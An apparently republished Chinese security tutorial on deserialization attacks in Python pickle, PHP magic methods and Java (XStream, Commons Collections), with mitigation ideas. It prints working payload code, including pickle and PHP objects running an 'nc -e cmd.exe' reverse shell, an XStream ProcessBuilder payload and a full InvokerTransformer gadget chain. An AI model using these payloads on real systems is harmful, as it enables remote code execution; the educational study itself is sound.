百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 热门文章 > 正文

关于反序列化攻击方法探究

bigegpt 2024-09-24 07:20 4 浏览

原创: 4ct10n 合天智汇

grammar_cjkRuby: true

反序列化存在于各个开发语言的web应用,PHP、Python、Java都无一例外,趁着假期闲着无聊总结一下

Python 反序列化漏洞

简介

Python的主流序列化方式有两种Pickle&Json这里介绍由于Pickle的错误使用造成的漏洞利用

成因

Python 中的pickle模块是可以将各种对象序列化存储的,可支持的序列化对象有整型、浮点、元组、数组、函数、类等。这里之所以产生漏洞其原因是可以将自定义的类进行序列化和反序列化。反序列化后产生的对象会在结束时触发 __reduce__函数从而触发自己的恶意代码。看一下利用方法

利用

Python Pickle 序列化函数有三类分别如下:

import
 pickle
import
 cPickle 
as
 pickle
from
 pickle 
import
 
Pickle
from
 pickle 
import
 
Unpickle

最后一种只能存储到文件,不可以到内存

具体的利用方法呢有两种形式

1. 利用 __del__ 魔法函数 触发恶意代码

2. 利用 __reduce__触发反序列化重构

情况1 析构函数触发

触发条件比较苛刻,在攻击对象中必须自己包含析构函数,如下代码

Generate.py

import
 pickle
class
 test(
object
):
 
def
 __init__(
self
):
 
self
.a = 
"nc -e cmd.exe 127.0.0.1 81"
with
 open(
'log'
,
'wb'
) 
as
 f:
 pickle.
dump
(test(),f)

Test.py

import
 pickle
import
 os
class
 test(
object
):
 
def
 __init__(
self
):
 
pass
 
def
 __del__(
self
):
 os.system(
self
.a)
with
 open(
'log'
,
'r'
) 
as
 f:
 pickle.load(f)

情况2 利用reduce魔法函数

利用reduce魔法函数重构序列化类,需要注意的是反序列化之后要使用的模块必须由反序列化函数提供,也就是说即使在Test.py中存在着该模块reduce函数中也不能引用,这一点比较关键。

Generate.py

import
 pickle
class
 test(
object
):
 
def
 __reduce__(
self
):
 
return
 
eval
,(
"__import__('os').system('nc -e cmd 127.0.0.1 81')"
,)
with
 open(
'log'
,
'wb'
) 
as
 f:
 pickle.
dump
(test(),f)
import
 pickle
import
 subprocess
class
 test(
object
):
 
def
 __reduce__(
self
):
 
return
 subprocess.call,(
"nc -e cmd.exe 127.0.0.1 81 "
,)
with
 open(
'log'
,
'wb'
) 
as
 f:
 pickle.
dump
(test(),f)

Test.py

import
 pickle
with
 open(
'log'
, 
'r'
) 
as
 f:
 pickle.load(f)

防范

那么有了这个攻击思想怎么去防范呢,其实方法很简单就是在反序列化之前查看,反序列化内容有没有关键字。这里介绍两种防范方法

1 @装饰器

import
 pickle
from
 functools 
import
 wraps
black_list = [
'subprocess'
]
def
 __HookPickle__(func):
 
@wraps
(func)
 
def
 f(*args):
 data = args[
0
].read()
 
for
 i 
in
 black_list:
 
if
 i 
in
 data:
 
exit
()
 args[
0
].seek(
0
)
 
return
 func(*args)
 
return
 f
@__HookPickle__
def
 load(f):
 
return
 pickle.load(f)
with
 open(
'log'
, 
'r'
) 
as
 f:
 load(f)

2 直接过滤

这里直接将反序列化调用的REDUCE参数 进行过滤从而达到防范的目的

unpkler.dispatch[REDUCR] 其中REDUCE='R'

然而unpkler.dispatch['R'] = reload_reduce

reload_reduce函数见下图

_hook_call 其实封装的是reload_reduce函数......

from
 os 
import
 *
from
 sys 
import
 *
from
 pickle 
import
 *
from
 io 
import
 open 
as
 
Open
from
 pickle 
import
 
Unpickler
 
as
 
Unpkler
from
 pickle 
import
 
Pickler
 
as
 
Pkler
black_type_list = [
eval
]
class
 
FilterException
(
Exception
):
 
def
 __init__(
self
, value):
 
super
(
FilterException
, 
self
).__init__(
 
'the callable object {value} is not allowed'
.format(value=str(value)))
def
 _hook_call(func):
 
def
 wrapper(*args, **kwargs):
 
print
 args[
0
].stack
 
if
 args[
0
].stack[-
2
] 
in
 black_type_list:
 
raise
 
FilterException
(args[
0
].stack[-
2
])
 
return
 func(*args, **kwargs)
 
return
 wrapper
def
 LOAD(file):
 unpkler = 
Unpkler
(file)
 unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])
 
return
 
Unpkler
(file).load()
with
 
Open
(
"test"
,
"rb"
) 
as
 f:
 LOAD(f)

最后的最后你需要一个black_list ,这里提供一个

[
eval
, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,
 tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,
 lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,
 rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,
 execve, execvp, execvpe, 
exit
, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,
 spawnv, spawnve, spawnvp, spawnvpe, load, loads, subprocess, commands]


PHP 反序列化漏洞

简介

PHP反序列化漏洞虽然利用的条件比Python的反序列化苛刻的多,其原因在于没有向python 魔法函数reduce那样重构一个类,因此必须有成熟的条件后才能进行攻击,同时也限定了PHP的反序列化漏洞理解起来比较简单。目前在网上有许多关于PHP的反序列化漏洞解析,这里介绍一种新的利用方法。

成因

和python 反序列化第一种成因是一样的,由于触发魔法函数造成恶意代码执行。在PHP中主要序列化函数是serialize(),unserialize(),在执行unserialize后会触发 析构函数或是wakeup函数。根本原因还是由于class的魔法函数

  • 构造函数__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
  • 析构函数__destruct():当对象被销毁时会自动调用。
  • __wakeup() :如前所提,unserialize()时会自动调用。

利用

简单利用

<?php 
/**
* 
*/
class
 test
{
 
function
 __destruct(){
 echo 
`nc -e cmd.exe 127.0.0.1 81`
;
 }
}
$s = 
'O:4:"test":0:{}'
;
unserialize($s);
 ?>
<?php 
/**
* 
*/
class
 test
{
 
function
 __wakeup(){
 echo 
`nc -e cmd.exe 127.0.0.1 81`
;
 }
}
// $a = new test();
$s = 
'O:4:"test":0:{}'
;
// echo $s;
unserialize($s);
 ?>

命名空间反序列化运用

<?php 
namespace
 controllers;
class
 
User
 
{
 
function
 __destruct()
 {
 echo 
`nc -e cmd.exe 127.0.0.1 81`
;
 }
}
$a = 
'O:16:"controllers\User":0:{}'
;
unserialize($a);

和上面的效果是一样的

防范

严格使用魔法函数,检查用户的输入,永远不要相信用户的输入


Java 反序列化漏洞

简介

Java的反序列化漏洞影响非常严重,对于Java来说序列化是将一个对象转换成其他可存储的格式比如二进制字符串、XML、Json格式等。因此在Java的反序列化漏洞中主要有三种利用方式

  1. ObjectIntputStream 对二进制字符串进行反序列化
  2. xstream 对xml进行反序列化
  3. fastjson.JSON 对json数据进行反序列化

每一类型的触发方式不是很相同 可以将Java 反序列化漏洞归结如下

第一种

  1. JAVA Apache-CommonsCollections 序列化漏洞

第二种

  1. structs2-052 xstream
  2. Weblogic XMLdecoder

第三种

  1. Fastjson反序列化漏洞

成因

本文先针对1、2种情况进行漏洞分析

第一种情况,ObjectIntputStream在反序列化对象时会调用readObject方法,如果readObject方法中有危险函数就可能造成命令执行

第二种情况,xstream在进行xml格式解析时会重构对象从而使恶意代码执行

利用

先分析两个demo ,接着用两个真实的cve介绍漏洞的成因

1. Serializable

import
 java.io.*;
public
 
class
 test{
 
public
 
static
 
void
 main(
String
 args[]) 
throws
 
Exception
{
 
MySerializable
 
Unsafe
 = 
new
 
MySerializable
();
 
Unsafe
.name = 
"Only Test"
;
 
FileOutputStream
 fos = 
new
 
FileOutputStream
(
"object"
);
 
ObjectOutputStream
 os = 
new
 
ObjectOutputStream
(fos);
 
//将对象序列化存入文件
 os.writeObject(
Unsafe
);
 os.close();
 
//从文件中读取序列化内容并反序列化
 
FileInputStream
 fis = 
new
 
FileInputStream
(
"object"
);
 
ObjectInputStream
 ois = 
new
 
ObjectInputStream
(fis);
 
//恢复对象
 
MySerializable
 objectFromDisk = (
MySerializable
)ois.readObject();
 
System
.
out
.println(objectFromDisk.name);
 ois.close();
 }
}
class
 
MySerializable
 
implements
 
Serializable
{
 
public
 
String
 name;
 
//重写readObject 反序列化方法
 
private
 
void
 readObject(java.io.
ObjectInputStream
 
in
) 
throws
 
IOException
, 
ClassNotFoundException
{
 
//执行默认的readObject()方法
 
in
.defaultReadObject();
 
//触发恶意代码
 
Runtime
.getRuntime().
exec
(
"calc"
);
 }
}

MySerializable 实现了Serializable接口将readObject 方法重写并且其中包含了弹出计算器的代码,在反序列化的时候会触发该函数并弹出计算器

2. xstream

payload构造方法

git clone https:
//github.com/mbechler/marshalsec.git
mvn clean 
package
 -
DskipTests
java -cp target/marshalsec-
0.0
.
3
-SNAPSHOT-all.jar marshalsec.
XStream
 
ImageIO
 calc

xstream的反序列化确实可以造成命令执行,如下代码

import
 java.io.
IOException
;
import
 com.thoughtworks.xstream.
XStream
;
import
 com.thoughtworks.xstream.io.xml.
DomDriver
;
import
 java.beans.
EventHandler
;
import
 java.util.
Set
;
import
 java.util.
TreeSet
;
public
 
class
 
Main
 {
 
public
 
static
 
void
 main(
String
[] args) 
throws
 
IOException
 {
 
XStream
 xstream = 
new
 
XStream
();
 
String
 payload = 
"<map><entry><jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\"> <dataHandler> <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\"> <is class=\"javax.crypto.CipherInputStream\"> <cipher class=\"javax.crypto.NullCipher\"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class=\"javax.imageio.spi.FilterIterator\"> <iter class=\"javax.imageio.spi.FilterIterator\"> <iter class=\"java.util.Collections$EmptyIterator\"/> <next class=\"java.lang.ProcessBuilder\"> <command><string>calc</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class=\"javax.imageio.ImageIO$ContainsFilter\"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class=\"string\">foo</next> </serviceIterator> <lock/> </cipher> <input class=\"java.lang.ProcessBuilder$NullInputStream\"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/> <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/></entry></map>"
;
 xstream.fromXML(payload);
 }
}

xstream从xml中解析出对象后执行恶意代码

两种类型的漏洞

Structs2-052

漏洞存在于structs2-rest-plugin-2.5.12中

从请求数据中获得request请求内容,以文件的方式尽心读取,将对象传递给handler.toObject的方法,此时的handler是XStreamHandler 其方法如下

成功触发xstream的fromxml方法

有个这个分析payload的利用方式就简单了

从xml到命令执行还没有搞懂,有时间继续搞一搞

Apache commons-collection.jar

趁着放假,把该漏洞从头到尾的复现了一遍,受影响的的web应用有JBoss等

其根本原因是 org.apache.commons.collections.functors.InvokerTransformer存在反射执行函数,并且在 其中有触发java反射机制

其中的transform函数起到关键作用

可以实现执行input 对象中iMethodName方法并且以iArgs为参数

那么怎么做到命令执行呢

 
Transformer
 trans = 
new
 
InvokerTransformer
(
"append"
,
new
 
Class
[]{
String
.
class
},
new
 
Object
[]{
"xxx"
});
 
Object
 a = trans.transform(
new
 
StringBuffer
(
"asd"
));
 
System
.
out
.
print
(a);

可以看到主要是transform进行命令执行,如果想要执行系统命令需要什么指令

Runtime
 r = (
Runtime
)
Class
.forName(
"java.lang.Runtime"
).getMethod(
"getRuntime"
,newjava.lang.
Class
[]{}).invoke(
null
,newObject[]{}); 

有多层包含关系,那么可以利用java的ChainedTransformer进行命令执行

可以看到执行链,一层套一层,第一层的object将带入第二层以此类推

那么可以构造以下payload

package
 test;
import
 java.io.
File
;
import
 java.io.
FileOutputStream
;
import
 java.util.
HashMap
;
import
 java.util.
Map
;
import
 java.util.
Map
.
Entry
;
import
 org.apache.commons.collections.
Transformer
;
import
 org.apache.commons.collections.functors.
ChainedTransformer
;
import
 org.apache.commons.collections.functors.
ConstantTransformer
;
import
 org.apache.commons.collections.functors.
InvokerTransformer
;
import
 org.apache.commons.collections.map.
TransformedMap
;
public
 
class
 orign {
 
public
 
static
 
void
 main(
String
[] args) {
 
Transformer
[] transformers = 
new
 
Transformer
[]{
 
new
 
ConstantTransformer
(
Runtime
.
class
),
 
new
 
InvokerTransformer
(
"getMethod"
, 
new
 
Class
[]{
String
.
class
,
Class
[].
class
},
 
new
 
Object
[]{
"getRuntime"
, 
new
 
Class
[
0
]}),
 
new
 
InvokerTransformer
(
"invoke"
, 
new
 
Class
[]{
Object
.
class
,
Object
[].
class
}, 
 
new
 
Object
[]{
null
, 
new
 
Object
[
0
]}),
 
new
 
InvokerTransformer
(
"exec"
, 
new
 
Class
[]{
String
.
class
}, 
 
new
 
Object
[]{
"calc"
})
 };
 
Transformer
 chain = 
new
 
ChainedTransformer
(transformers) ;
 chain.transform(
"xx"
);
 }
}

目前找到了触发恶意代码的方式,那么回过头想一想反序列化与transform函数之间还需要什么东西去连接

接下来就是寻找一个类继承Serializbale接口 包含readObject方法并且该方法中包含触发transform函数的方式

巧妙的是在TransformedMap(是Map的子类)中正好有一个setValu可以触发transform方法

此时关系图就变成了下图

此时如果有某个类的readObject方法含有Map 迭代的话 并且执行了setValue函数就完美了。

凑巧的是真有这样的类,在 sun.reflect.annotation.AnnotationInvocationHandler中

该类的源码地址

http://www.docjar.com/html/api/sun/reflect/annotation/AnnotationInvocationHandler.java.html

该类继承了Serializable并冲写了readObject方法

最后在setValue函数处触发,至此构成了完整的利用链,见下图

为了方便演示将Person代替AnnotationInvocationHandler类进行处理

// Person.java
package
 test;
import
 java.io.
IOException
;
import
 java.io.
Serializable
;
import
 java.security.
KeyStore
.
Entry
;
import
 java.util.
Map
;
public
 
class
 
Person
 
implements
 
Serializable
{
 
private
 
String
 name;
 
public
 
Map
 map;
 
private
 
void
 readObject(java.io.
ObjectInputStream
 
in
) 
throws
 
ClassNotFoundException
,
IOException
{
 
in
.defaultReadObject();
 
if
(map != 
null
){
 
Map
.
Entry
 a = (
Map
.
Entry
) map.entrySet().iterator().
next
();
 a.setValue(
"what?"
);
 }
 }
}

生成序列化文件

//Generate.java
package
 test;
import
 java.io.
File
;
import
 java.io.
FileOutputStream
;
import
 java.io.
ObjectOutputStream
; 
import
 java.util.
Map
;
import
 java.util.
HashMap
; 
import
 java.lang.annotation.
Target
;
import
 java.lang.reflect.
Constructor
; 
import
 org.apache.commons.collections.
Transformer
;
import
 org.apache.commons.collections.map.
TransformedMap
;
import
 org.apache.commons.collections.functors.
InvokerTransformer
;
import
 org.apache.commons.collections.functors.
ChainedTransformer
;
import
 org.apache.commons.collections.functors.
ConstantTransformer
; 
public
 
class
 
TransformTest
 { 
 
public
 
static
 
Object
 getAnnotationInvocationHandler(
String
 command) 
throws
 
Exception
 {
 
String
[] execArgs = command.split(
","
);
 
Transformer
[] transformers = 
new
 
Transformer
[] {
 
new
 
ConstantTransformer
(
Runtime
.
class
),
 
new
 
InvokerTransformer
(
"getMethod"
, 
new
 
Class
[] {
 
String
.
class
, 
Class
[].
class
 }, 
new
 
Object
[] {
 
"getRuntime"
, 
new
 
Class
[
0
] }),
 
new
 
InvokerTransformer
(
"invoke"
, 
new
 
Class
[] {
 
Object
.
class
, 
Object
[].
class
 }, 
new
 
Object
[] {
 
null
, 
new
 
Object
[
0
] }),
 
new
 
InvokerTransformer
(
"exec"
, 
new
 
Class
[] {
 
String
.
class
 }, 
new
 
Object
[] {
"calc.exe"
})};
 
Transformer
 transformerChain = 
new
 
ChainedTransformer
(transformers);
 
Map
 tempMap = 
new
 
HashMap
();
 tempMap.put(
"value"
, 
"value"
);
//这里不能少要不然setValue 会执行出错
 
Map
 exMap = 
TransformedMap
.decorate(tempMap, 
null
, transformerChain);
 
//setValue会触发transform方法
// Map.Entry onlyElement = (Map.Entry) exMap.entrySet().iterator().next();
// onlyElement.setValue("foobar");
 
Person
 p = 
new
 
Person
();
 p.map = exMap;
 
return
 p;
 } 
 
public
 
static
 
void
 main(
String
[] args) 
throws
 
Exception
 {
 
String
 command = (args.length != 
0
) ? args[
0
] : 
"calc.exe"
; 
 
Object
 obj = getAnnotationInvocationHandler(command);
 
File
 f = 
new
 
File
(
"bbb"
);
 
ObjectOutputStream
 
out
 = 
new
 
ObjectOutputStream
(
new
 
FileOutputStream
(f));
 
out
.writeObject(obj);
 }
}

反序列化触发漏洞

//unserialize.java
package
 test;
import
 java.io.
FileInputStream
;
import
 java.io.
ObjectInputStream
;
import
 java.lang.reflect.
Method
;
public
 
class
 unserialize {
 
public
 
static
 
void
 main(
String
[] args) 
throws
 
Exception
 {
 
FileInputStream
 
in
;
 
try
 {
 
in
 = 
new
 
FileInputStream
(
"bbb"
);
 
ObjectInputStream
 ins = 
new
 
ObjectInputStream
(
in
);
 ins.readObject();
 } 
catch
 (
Exception
 e) {
 
// TODO: handle exception
 }
 }
}

这就是整个的攻击流程总体来讲的话,反序话会触发对象readObject函数 ,恰巧在该函数中有能够触发反射链的Map.Entry setValue函数,从而造成了恶意代码执行。

这里给出测试样例地址

https://github.com/actionyz/vulhub/tree/master/Serialize

防范

对于xml的反序列化攻击可以添加对xstream反序列化的限制

对于commons-collections 将 java.io.ObjectInputStream 反序列化操作替换成SerialKiller,这样就可以利用白名单黑名单进行过滤。


参考资料

探秘Java反序列化漏洞一:序列化与反序列化 rui0.cn/archives/924

Java 反序列化漏洞从无到有 http://www.freebuf.com/column/155381.html

Java反序列化漏洞从入门到深入 https://xz.aliyun.com/t/2041

S2-052从Payload到执行浅析 http://www.freebuf.com/vuls/147170.html

common-collections中Java反序列化漏洞导致的RCE原理分析 http://www.91ri.org/14522.html

Commons Collections Java反序列化漏洞深入分析 https://security.tencent.com/index.php/blog/msg/97

相关推荐

5分钟调色大片的方法(5分钟调色大片的方法有哪些)

哈喽大家好。在大家印象中一定觉得ps非常难学非常难。大家不要着急,小编的教学都是针对ps零基础的同学的,而且非常实用哦。只要大家跟着图文练习一两遍,保证大家立马学会~!好了,废话少说,下面开始我们今天...

闪白特效原来是这么用的(闪白特效怎么使用)

作者|高艳侠订阅|010-86092062闪白特效是影视作品中应用比较多的效果之一,那么具体该在哪些场景使用闪白特效?具体该如何操作?下面就以AdobePremiere(以下简称PR)为例,...

ppt常用小图标去哪里找?3个矢量素材网站推荐!

ppt是一个注重可视化表达的演示载体,除了高清图片,ppt中另一类常用的素材是各种小图标,也叫矢量图标,巧妙运用小图标能提升整体美观度和表现力,那么ppt常用小图标去哪里找呢?为方便各位快速找到合适的...

有什么好用的截图录屏工具?试试这9款

经常有朋友反馈苦于缺乏截屏和录屏的趁手工具,本期我们分享几个相当好用的截屏和录屏工具,希望能帮到大家。ScreenToGifScreenToGif是一款免费且开源的录屏工具。此款工具最大的特点是可以...

配色苦手福音!专业快速色环配色PS插件

今天橘子老师给的大家介绍的是一款快速配色的插件,非常强大配色苦手福音来啦!(获取方式见文末)【插件介绍】配色在后期设计中占有主导地位,好的配色能让作品更加抢眼Coolorus这款专业的配色插件,能够...

如何用PS抠主体?(ps怎么抠主体)

1.主体法抠图-抠花苞和花梗导入一张荷花苞的照片,点击上图中顶部“选择”菜单栏,下拉单击“主体”。可以看到,只有花苞被选中,但是花梗并没有被选中。接下来单击上图中左侧工具栏的“快速选择工具”,上图中顶...

2799元的4K电视,有保障吗?(买4k电视机哪个品牌好)

在上一期《电脑报》的3·15专题报道中,我们揭露了一款不靠谱的42英寸4K智能电视——TCLD42A561U。这款售价2699元的4K智能电视不仅4K画质方面存在严重问题,而且各种功能和应用体验也不理...

苹果电脑的Touch Bar推出一段时间了 这款工具可以帮你开发适用于它的APP

距离苹果推出带有TouchBar的MacBookPro已经有一段时间了,除了那些像Adobe、Google和Microsoft大公司在开发适用于TouchBar的应用之外,其实还有很多独立的开...

如魔法般吸取颜色的桌灯(如魔法般吸取颜色的桌灯叫什么)

色彩为生活带来的感官刺激,逐渐被视为理所当然。一盏桌灯运用它的神奇力量,将隐藏于物件中的颜色逐一释放,成为装点环境的空间魔法师。ColorUp是一款可以改变颜色的吸色台灯,沿用传统灯泡的造型,融入了拾...

一篇文章带你用jquery mobile设计颜色拾取器

【一、项目背景】现实生活中,我们经常会遇到配色的问题,这个时候去百度一下RGB表。而RGB表只提供相对于的颜色的RGB值而没有可以验证的模块。我们可以通过jquerymobile去设计颜色的拾取器...

ps拾色器快捷键是什么?(ps2019拾色器快捷键)

ps拾色器快捷键是什么?文章末尾有获取方式,按照以下步骤就能自动获得!学会制作PS特效需要一定程度的耐心和毅力。初学者可以从基本的工具和技术开始学习,逐渐提高他们的技能水平。同时,观看更多优秀的特效作...

免费开源的 Windows 截图录屏工具,支持 OCR 识别和滚动截图等

功能很强大、安装很小巧的免费截图、录屏工具,提供很多使用的工具来帮我么能解决问题,推荐给大家。关于ShareXShareX是一款免费的windows工具,起初是一个小巧的截图工具,经过多年的迭...

入门到精通系列PS教程:第13篇 · 拾色器、颜色问题说明及补充

入门到精通系列PS教程:第13篇·拾色器、颜色问题说明及补充作者|侯潇问题说明我的第12篇教程里,有个小问题没有说清楚。要说是错误,又不算是错误,只是没有说准确。写完那篇教程后,因为已经到了深...

PS冷知识:用吸管工具吸取屏幕上的任意颜色

今天,我们给大家介绍PS中的一个冷知识:用吸管工具可以吸取屏幕上的任意颜色。其实,操作起来是非常简单的。大多数情况下,我们认为,PS的吸管工具只能吸取PS软件作图区域范围内的颜色,最多加上画布四周的...

Windows 11 将提供内置颜色选择器工具

Windows11内置了颜色选择器,可以扫描并识别屏幕上的颜色并生成颜色代码。此外,微软还利用人工智能技术,让屏幕上的文本扫描和选择变得更加便捷。这两项功能均已在SnippingToolv1...